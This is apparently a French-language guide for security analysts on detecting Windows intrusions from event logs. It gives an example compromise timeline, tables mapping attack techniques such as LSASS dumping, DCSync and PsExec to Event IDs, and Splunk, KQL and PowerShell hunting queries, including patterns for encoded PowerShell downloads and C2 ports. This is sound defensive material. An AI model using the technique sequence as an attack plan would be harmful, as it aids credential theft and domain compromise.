14:22:07	Sysmon 1 — Word lance cmd puis PowerShell encodé	Accès initial
14:22:09	4104 — téléchargement du stage 2	Exécution
14:25:33	Sysmon 7 — DLL side-loading	Évasion
14:31:58	Sysmon 10 — dump de LSASS depuis notepad	Vol d'identifiants
14:33:02	Sysmon 3 — beacon vers 10.0.0.186:8443	C2
14:40:11	Sysmon 13 — clé Run `OneDriveSync`	Persistance
14:52:40	4625 — spraying avec les identifiants volés	Découverte
15:03:17	7045 — service PsExec sur un autre poste	Mouvement latéral
15:18:02	4662 — DCSync	Compromission du domaine

Aucun de ces événements n'est concluant seul. C'est la **séquence** qui constitue la preuve — et reconstruire cette séquence est le véritable travail de l'analyste.

Scénarios de détection

Par technique d'attaque

Technique	Event ID à croiser
Brute force	4625 (0xC000006A) · 4740 · 4771 (0x18)
Password spraying	4625 sur nombreux comptes · 4771 · 4776
Kerberoasting	4769 avec `0x17` sur comptes à SPN
AS-REP Roasting	4768 sans pré-authentification
Pass-the-Hash	4624 type 3 ou 9 · 4648 · NTLM sans Kerberos
Pass-the-Ticket	4769 sans 4768 · IP incohérente
DCSync	4662 avec GUID de réplication, compte non-DC
Dump LSASS	Sysmon 10 vers `lsass.exe` · Sysmon 11 `.dmp` · 4656
DLL hijacking	Sysmon 7 hors System32 · Sysmon 11 (dépôt)
Injection de code	Sysmon 8 · Sysmon 10 · Sysmon 25
Execute-assembly / .NET	Sysmon 7 chargeant `clr.dll` hors contexte .NET
PowerShell obfusqué	4104 avec motifs d'encodage · 400 avec v2
Mouvement latéral SMB	5140 / 5145 sur `ADMIN$` ou `C$` · 7045

Technique	Event ID à croiser
PsExec	7045 service aléatoire · Sysmon 17/18 pipes · 5145
WMI distant	4624 type 3 + `wmiprvse.exe` parent · 5857-5861
PowerShell Remoting	`wsmprovhost.exe` · WinRM 169 · ports 5985/5986
RDP latéral	4624 type 10 · 1149 · 21/22 · RDPClient 1024
Persistance registre	Sysmon 13 sur clés Run · 4657
Persistance tâche	4698 · TaskScheduler 106
Persistance service	7045 · 4697
Persistance WMI	5861 · Sysmon 19/20/21
Reconnaissance AD	4798 · 4799 · 4662 massif · 4104 (PowerView)
Reconnaissance réseau	4688 `net view` / `net group` / `nltest`
Évasion / anti-forensique	1102 · 104 · 4719 · 4616 · 5001 · Sysmon 2 · Sysmon 4
Exfiltration	Sysmon 3 volumineux · Sysmon 22 · 5156
C2 beaconing	Sysmon 3 à cadence régulière · Sysmon 22
Ransomware	Sysmon 23/26 massif · 4663 · suppression de shadow copies

La chaîne complète d'une compromission

Accès initial → Sysmon 1, 11, 7 **Exécution** → Sysmon 1, 4688, 4104 **Persistance** → Sysmon 13, 4698, 7045, 5861 **Élévation** → 4672, 4728/4732, Sysmon 10 **Évasion** → 1102, 5001, Sysmon 2, 4 **Vol d'identifiants** → Sysmon 10 (LSASS), 4662, 4769 **Découverte** → 4798, 4799, 4688, 4104 **Mouvement latéral** → 4624 (types 3/9/10), 5140, 7045, WinRM 169 **Collecte** → Sysmon 11, 24, 4663 **C2** → Sysmon 3, 22 **Exfiltration** → Sysmon 3, 5156 **Impact** → Sysmon 23/26, 1102

Requêtes prêtes à l'emploi

Splunk (SPL)

```
index=main EventCode=4625 | stats count by Account_Name, IpAddress | sort - count

index=main EventCode=4769 Ticket_Encryption_Type=0x17 | stats count by Service_Name, Account_

index=main EventCode=4624 Logon_Type=10 | table _time, Account_Name, IpAddress, ComputerName

index=main EventCode=10 TargetImage="*lsass.exe" | stats count by SourceImage, GrantedAccess

index=main EventCode=7 ImageLoaded="*clr.dll" | stats count by Image

index=main EventCode=1102 OR EventCode=104
```

Elastic (KQL)

```
event.code:4625 and winlog.event_data.Status:"0xc000006a"

event.code:4104 and powershell.file.script_block_text:(*FromBase64String* or *DownloadString

event.code:13 and registry.path:*CurrentVersion\\Run*

event.code:3 and destination.port:(4444 or 8080 or 8443)
```

PowerShell

```
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=(Get-Date).AddDays

Get-WinEvent -Path 'X.evtx' -FilterXPath "*[System[EventID=7]]" -EA 0 |
  % { $d=([xml]$_.ToXml()).Event.EventData.Data
      [PSCustomObject]@{ Image=($d|? Name -eq 'Image').'#text'
                         DLL=($d|? Name -eq 'ImageLoaded').'#text' } }
```

Sources de référence

Ultimate Windows Security — Security Log Encyclopedia https://www.ultimatewindowssecurity.com/secu La référence la plus complète sur les Event ID du journal Security. Chaque ID y est documenté avec la description de tous ses champs, les valeurs possibles et des notes pratiques. Format : .../encyclopedia/event.aspx?eventID=4624

Microsoft Learn — Advanced Security Audit Policy https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/ La documentation officielle, par événement : .../auditing/event-4624. Donne la structure exacte du XML et les prérequis d'audit.

Microsoft Learn — Sysmon https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon Documentation officielle de Sysmon, avec le schéma de configuration et la liste complète des Event ID.

MITRE ATT&CK https://attack.mitre.org/ Pour relier chaque détection à une technique référencée.

Configurations Sysmon de référence SwiftOnSecurity : https://github.com/SwiftOnSecurity/sysmon-config Olaf Hartong (modulaire) : https://github.com/olafhartong/sysmon-modular

Règles de détection Sigma : https://github.com/SigmaHQ/sigma Elastic Detection Rules : https://github.com/elastic/detection-rules